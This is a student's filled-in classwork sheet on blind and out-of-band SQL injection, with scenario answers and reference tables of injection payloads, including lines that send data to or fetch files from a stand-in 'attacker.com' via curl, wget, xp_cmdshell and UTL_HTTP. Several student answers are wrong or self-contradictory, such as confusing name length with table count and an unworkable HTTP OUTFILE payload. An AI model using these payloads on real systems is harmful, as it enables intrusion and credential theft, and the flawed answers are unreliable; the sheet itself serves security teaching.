RollNo: K072 Name: Tatsam Pandey Choose an item.

Class Work 2 SQL Injection (Blind and Out of band)

Note: Use the Reference Table at the end to know the commands as per the type of the database. Write the answer in the right hand side column. In the header write you rollno, name and after the class work is completed rate the class word by choosing the feedback given in the header.

A. Blind SQL Injection involves scenarios where the attacker cannot directly view the results of their queries. Instead, they infer information by observing application behavior, response times, or other indirect indicators.

Scenarios:

1. A web application login page is vulnerable to SQL injection. The attacker wants to extract the database name without direct access to query results.

Predict the SQL Query	SELECT * FROM X WHERE username='abc' AND password='xyz';
Add Payload to access if length of database is 5	' AND (SELECT length(database())) = 5 --
What information you will gain?	If the payload evals to True, we will see the page render without any error and we can conclude that the database has 5 tables. Else we can safely say that the database has 5 tables.

2. The attacker wants to extract the password of the `admin` user by introducing time delays.

Predict the Login SQL Query	SELECT * FROM X WHERE username='abc' AND password='xyz';
Add Payload to check if the first character of admin password is greater than 'a' using time delay of 5.	' AND IF (SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) > 'a', SLEEP(5), 0) --
What information you will gain?	If the query evals to true, then the response will take 5 seconds to load, else it will load immediately.

3. The attacker wants to confirm the existence of a table named `users` using time delays. The current page has a search field for finding products.

Predict the search field SQL Query	SELECT * FROM products WHERE search LIKE '%xyz%';
Add Payload to check if the `users` table contains any rows.	' AND (SELECT count(*) FROM users) > -1 --
What information you will gain?	If the table exists, we will see the number of records in the users table, else it will throw a error.

RollNo: K072 Name: Tatsam Pandey Choose an item.

Class Work 2 SQL Injection (Blind and Out of band)

4. The attacker wants to extract the database version using Boolean-Based Blind SQL Injection. The form takes feedback from the user which is added in the database.

Predict the Insert SQL Query	INSERT INTO feedback (message) VALUES ('Hello');
Add Payload to check if the database MySQL version starts with `8`.	'); SELECT @@VERSION LIKE '8%' --
What information you will gain?	We get to know if the version starts with 8 or not.

B. Out-of-Band (OOB) SQL Injection involves exploiting database queries that trigger external interactions, such as DNS lookups, HTTP requests, or sending data to a remote server controlled by the attacker. This method is useful when the attacker cannot see direct query results or responses.

Scenarios:

1. A web application login page is vulnerable to SQL injection. The attacker wants to extract the database name without direct access to query results using the feedback form.

Predict the Insert SQL Query	INSERT INTO feedback(message) VALUES ('Hello');
Add Payload to attempt to extract the database name and write it to a file on the attacker's SMB server `\\attacker-server\share\db_name.txt`	'); SELECT * FROM dual WHERE database() = 'test_db' AND OUTFILE '\\\\attacker-server\\share\\db_name.txt' --
What information you will gain?	We get a confirmation in our server confirming if the table 'test_db' exists or not.

2. The attacker uses a contact form which accepts (name, email); to exfiltrate user credentials by embedding an SQL query that triggers HTTP requests to an external server.

Predict the Insert SQL Query	INSERT INTO contact(name, email) VALUES ('attacker', 'attacker@gmail.com');
Add Payload to extract username, and password into 'http://attacker-server.com/logs?user=&pass='	'); SELECT * FROM users INTO OUTFILE 'http://attacker-server.com//logs?user=' || username || '&pass=' || password --
What information you will gain?	We will receive all the username and passwords from the SQL server to our malicious server.

RollNo: K072 Name: Tatsam Pandey Choose an item.

Class Work 2 SQL Injection (Blind and Out of band)

Use the Table for reference: BLIND SQL INJECTION

Blind SQL Injection Code/Payload	Purpose	Type (Boolean/Time-Based)	Description
`' OR 1=1 --`	Always true condition to bypass authentication	Boolean	Forces the query to always evaluate as true, granting access or revealing information.
`' AND 1=2 --`	Always false condition to test behavior	Boolean	Tests how the application behaves when the query evaluates as false.
`' AND (SELECT LENGTH(database())) = 5 --`	Check the length of the database name	Boolean	Infers the length of the database name based on the application's response.
`' AND ASCII(SUBSTRING((SELECT user()), 1, 1)) > 77 --`	Extract a single character from the database username	Boolean	Uses ASCII values and conditional checks to infer individual characters of sensitive data.
`' AND SLEEP(5) --`	Delay execution to detect time-based vulnerabilities	Time-Based	Causes the query to pause for 5 seconds, confirming vulnerability if delay is observed.
`' OR IF(1=1, SLEEP(5), 0) --`	Conditional delay based on true/false evaluation	Time-Based	Executes a delay if the condition is true, useful for extracting information bit by bit.
`' AND BENCHMARK(1000000, MD5('test')) --`	Force the server to perform a heavy computation	Time-Based	Measures response time to detect injection points by observing computational delays.
`' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 --`	Check if there are more than 10 tables in the database	Boolean	Infers information about the database schema by observing application behavior.
`' AND (SELECT table_name FROM information_schema.tables LIMIT 1) = 'users' --`	Check if a specific table exists	Boolean	Tests for the presence of a

RollNo: K072 Name: Tatsam Pandey Choose an item.

Class Work 2 SQL Injection (Blind and Out of band)

			specific table in the database.
`' AND EXISTS(SELECT * FROM users WHERE username='admin') --`	Check if a specific record exists	Boolean	Infers the existence of a specific user or record.
`' AND 1=IF((SELECT LENGTH(password) FROM users WHERE username='admin') > 8, SLEEP(5), 0) --`	Extract the length of a password	Time-Based	Delays execution if the condition is true, revealing information bit by bit.
`' AND (SELECT CASE WHEN (user() LIKE 'root%') THEN SLEEP(5) ELSE 0 END) --`	Check if the current user is `root`	Time-Based	Uses conditional delays to confirm specific user roles or privileges.
`' AND (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users WHERE username='admin') > 77 --`	Extract the first character of a password	Boolean	Uses conditional checks to extract sensitive information character by character.
`' AND (SELECT DATABASE()) = 'test_db' --`	Check if the current database is `test_db`	Boolean	Confirms the name of the current database.
`' AND (SELECT @@version) LIKE '8.%' --`	Check the database version	Boolean	Infers the database version based on conditional checks.
`' AND (SELECT COUNT(*) FROM users) > 5 --`	Check if there are more than 5 users in the database	Boolean	Reveals information about the number of records in a table.
`' UNION SELECT NULL, NULL, NULL --`	Test for the number of columns in the query	Boolean	Helps the attacker determine the number of columns in the original query.
`' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 10 THEN 1 ELSE SLEEP(5) END) --`	Conditional delay based on record count	Time-Based	Delays execution based on the number of records, revealing table size indirectly.

Use the Table for reference: OUT-OF-BAND SQL INJECTION

Out-of-Band Code/Payload	**Purpose**	**Applicable Databases**	**Description**
`LOAD_FILE('\\\\attacker.com\\payload.txt')`	Trigger a DNS request to exfiltrate data	MySQL	Attempts to load a file from a remote server, initiating a DNS query.

RollNo: K072 Name: Tatsam Pandey Choose an item.

Class Work 2 SQL Injection (Blind and Out of band)

`INTO OUTFILE '\\\\attacker.com\\data.txt'`	Write data to a remote server	MySQL	Writes query results to a file on an external server.
`xp_cmdshell('nslookup attacker.com')`	Execute a system command for DNS lookup	Microsoft SQL Server	Executes a system command to resolve a hostname controlled by the attacker.
`UTL_HTTP.REQUEST('http://attacker.com')`	Send an HTTP request to an attacker-controlled server	Oracle	Uses Oracle's UTL_HTTP package to make an HTTP request.
`DBMS_LDAP.INIT('attacker.com', 389)`	Trigger an LDAP query to a remote server	Oracle	Exploits Oracle's LDAP functionality to contact an attacker's server.
`OPENROWSET('SQLNCLI', 'Server=attacker.com', ...)`	Connect to an external SQL server and send data	Microsoft SQL Server	Uses the `OPENROWSET` function to communicate with a remote SQL server.
`curl http://attacker.com?data=$(query)`	Exfiltrate data via HTTP requests	Any (via OS commands)	Uses an external command (`curl`) to send sensitive data to an attacker's server.
`wget http://attacker.com/file`	Download malicious payloads from a remote server	Any (via OS commands)	Retrieves malicious files for further exploitation.
`SELECT ... INTO DUMPFILE '\\\\attacker.com\\dump'`	Write sensitive data to a	MySQL	Writes query results directly to a remote file,

Class Work 2 SQL Injection (Blind and Out of band)

	remote location		exfiltrating sensitive data.
`dns_lookup('attacker.com')`	Trigger a DNS query	PostgreSQL (via extensions)	Uses custom extensions to initiate DNS lookups, revealing query execution.
`SELECT pg_read_file('\\\\attacker.com\\file')`	Read remote files	PostgreSQL	Attempts to read a file from a remote server.
`wget http://attacker.com/$(query_output)`	Combine query results into HTTP request	Any (via OS commands)	Embeds query results in an HTTP request to an attacker's server.
`SELECT master.dbo.xp_dirtree '\\\\attacker.com\\'`	Trigger a directory listing operation on a remote server	Microsoft SQL Server	Sends a request to an attacker's server using the `xp_dirtree` function.
`EXEC xp_cmdshell('ping attacker.com')`	Ping an attacker's server to confirm execution	Microsoft SQL Server	Uses `xp_cmdshell` to send ICMP packets to the attacker's server.